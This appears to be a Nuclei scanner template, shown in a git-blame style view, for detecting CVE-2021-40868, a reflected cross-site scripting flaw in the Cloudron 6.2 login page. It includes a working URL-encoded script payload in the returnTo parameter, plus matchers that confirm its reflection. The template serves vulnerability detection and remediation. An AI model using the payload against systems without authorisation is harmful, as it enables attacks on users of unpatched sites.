2021-09-28 00:42:28 +00:00
|
|
|
id: CVE-2021-40868
|
|
|
|
|
|
|
|
info:
|
2022-03-06 16:31:51 +00:00
|
|
|
name: Cloudron 6.2 Cross-Site Scripting
|
2021-09-28 00:42:28 +00:00
|
|
|
author: daffainfo
|
|
|
|
severity: medium
|
2022-03-06 16:31:51 +00:00
|
|
|
description: In Cloudron 6.2, the returnTo parameter on the login page is vulnerable to cross-site scripting.
|
2023-09-06 12:09:01 +00:00
|
|
|
remediation: Upgrade to Cloudron 6.3 or higher.
|
2021-09-28 00:42:28 +00:00
|
|
|
reference:
|
|
|
|
- https://packetstormsecurity.com/files/164255/Cloudron-6.2-Cross-Site-Scripting.html
|
2021-09-28 10:05:46 +00:00
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-40868
|
2022-05-17 09:18:12 +00:00
|
|
|
- https://packetstormsecurity.com/files/164183/Cloudron-6.2-Cross-Site-Scripting.html
|
|
|
|
- https://www.cloudron.io/
|
2021-10-02 12:30:44 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
2022-04-22 10:38:41 +00:00
|
|
|
cvss-score: 6.1
|
2021-10-02 12:30:44 +00:00
|
|
|
cve-id: CVE-2021-40868
|
|
|
|
cwe-id: CWE-79
|
2023-11-01 14:45:21 +00:00
|
|
|
epss-score: 0.00267
|
2023-11-20 10:15:32 +00:00
|
|
|
epss-percentile: 0.64121
|
2023-09-06 12:09:01 +00:00
|
|
|
cpe: cpe:2.3:a:cloudron:cloudron:6.2:*:*:*:*:*:*:*
|
2023-04-28 08:11:21 +00:00
|
|
|
metadata:
|
|
|
|
max-request: 1
|
2023-07-11 19:49:27 +00:00
|
|
|
vendor: cloudron
|
|
|
|
product: cloudron
|
|
|
|
tags: cve,cve2021,xss,cloudron,packetstorm
|
2021-09-28 00:42:28 +00:00
|
|
|
|
2023-04-27 04:28:59 +00:00
|
|
|
http:
|
2021-09-28 00:42:28 +00:00
|
|
|
- method: GET
|
|
|
|
path:
|
2021-09-28 10:05:46 +00:00
|
|
|
- '{{BaseURL}}/login.html?returnTo=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
|
2021-09-28 00:42:28 +00:00
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
part: header
|
|
|
|
words:
|
|
|
|
- "text/html"
|
|
|
|
|
|
|
|
- type: word
|
2023-07-11 19:49:27 +00:00
|
|
|
part: body
|
2021-09-28 00:42:28 +00:00
|
|
|
words:
|
2021-09-28 10:05:46 +00:00
|
|
|
- '</script><script>alert(document.domain)</script>'
|
2023-07-11 19:49:27 +00:00
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|
2023-11-21 07:14:20 +00:00
|
|
|
|
|
|
|
# digest: 490a0046304402207aecd02a4be1cbb072382b685ed0d6a56cd5d9ee87ec04b26fe0f3c4c2a031a902201ef5d4669d6b878ec8a5483f58b0f468866fa1b595b92a096b2803196c7c4b0c:922c64590222798bb761d5b6d8e72950
|